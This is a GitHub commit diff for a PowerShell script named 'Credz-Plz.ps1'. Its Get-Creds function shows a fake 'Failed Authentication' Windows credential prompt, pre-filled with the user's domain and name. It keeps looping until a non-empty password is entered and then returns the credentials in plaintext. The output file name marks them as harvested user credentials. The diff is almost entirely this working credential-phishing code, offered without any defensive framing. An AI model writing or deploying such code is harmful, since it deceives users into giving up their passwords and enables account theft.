Update Credz-Plz.ps1

This commit is contained in:
I-Am-Jakoby 2023-05-24 14:33:35 -05:00 committed by GitHub
parent faa57b913c
commit d0eb312f87
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

View file

@ -53,31 +53,34 @@ $FileName = "$env:USERNAME-$(get-date -f yyyy-MM-dd_hh-mm)_User-Creds.txt"
function Get-Creds { function Get-Creds {
$form = $null $form = $null
while ($form -eq $null) while ($form -eq $null)
{
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName);
$cred.getnetworkcredential().password
if([string]::IsNullOrWhiteSpace([Net.NetworkCredential]::new('', $cred.Password).Password))
{ {
Add-Type -AssemblyName PresentationCore,PresentationFramework $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName);
$msgBody = "Credentials cannot be empty!" $cred.getnetworkcredential().password
$msgTitle = "Error"
$msgButton = 'Ok'
$msgImage = 'Stop'
$Result = [System.Windows.MessageBox]::Show($msgBody,$msgTitle,$msgButton,$msgImage)
Write-Host "The user clicked: $Result"
$form = $null
}
else{
$creds = $cred.GetNetworkCredential() | fl
return $creds
}
}
if([string]::IsNullOrWhiteSpace([Net.NetworkCredential]::new('', $cred.Password).Password))
{
if(-not ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.ManifestModule -like "*PresentationCore*" -or $_.ManifestModule -like "*PresentationFramework*" }))
{
Add-Type -AssemblyName PresentationCore,PresentationFramework
}
$msgBody = "Credentials cannot be empty!"
$msgTitle = "Error"
$msgButton = 'Ok'
$msgImage = 'Stop'
$Result = [System.Windows.MessageBox]::Show($msgBody,$msgTitle,$msgButton,$msgImage)
Write-Host "The user clicked: $Result"
$form = $null
}
else{
$creds = $cred.GetNetworkCredential() | fl
return $creds
}
}
} }
#---------------------------------------------------------------------------------------------------- #----------------------------------------------------------------------------------------------------